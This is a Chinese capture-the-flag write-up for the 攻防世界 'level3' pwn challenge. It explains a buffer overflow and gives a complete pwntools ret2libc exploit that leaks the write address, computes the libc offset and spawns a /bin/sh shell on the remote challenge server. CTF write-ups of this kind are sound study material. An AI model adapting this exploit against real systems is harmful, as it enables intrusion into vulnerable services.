攻防世界新手区level3

攻防世界新手区level3

下载附件解压之后直接拖进虚拟机,发现还是个压缩包,原来是三个压缩包的套娃,重复操作:加一下后缀.zip解压,得到题目,题目把libc也给了
攻防世界新手区level3_第1张图片
checksec level3
攻防世界新手区level3_第2张图片

攻防世界新手区level3_第3张图片没什么保护,而且buf明显可以溢出
查找字符串果然如题目是没有system和binsh的
攻防世界新手区level3_第4张图片

那么我们可以利用write函数(因为write调用过好几次了)得出偏移量,32位程序不同于64位需要寄存器传参而是可以直接传参的。
题目还直接给了libc
看之前写的32位程序的最基本的ret2libc原理就能会了
EXP:

from pwn import *
p=remote('111.200.241.244',53112)
elf=ELF("./level3")

vul_addr=0x8048495
write_plt=elf.plt["write"]
write_got=elf.got["write"]

libc=ELF("./libc_32.so.6")
write_libc=libc.symbols["write"]
sys_libc=libc.symbols["system"]
binsh_libc=libc.search("/bin/sh").next()
padding='a'*(0x88+4)
payload1 = padding+p32(write_plt)+p32(vul_addr)+p32(1)+p32(write_got)+p32(4)
p.recvline()
p.sendline(payload1)

write_addr=u32(p.recv(4))

offsite=write_addr-write_libc
sys_addr=offsite+sys_libc
binsh_addr=offsite+binsh_libc

payload2=padding+p32(sys_addr)+p32(vul_addr)+p32(binsh_addr)
p.recvuntil("Input:\n")
p.sendline(payload2)
p.interactive()

运行结果:
攻防世界新手区level3_第5张图片

你可能感兴趣的:(PWN,ctf,python,安全,ubuntu)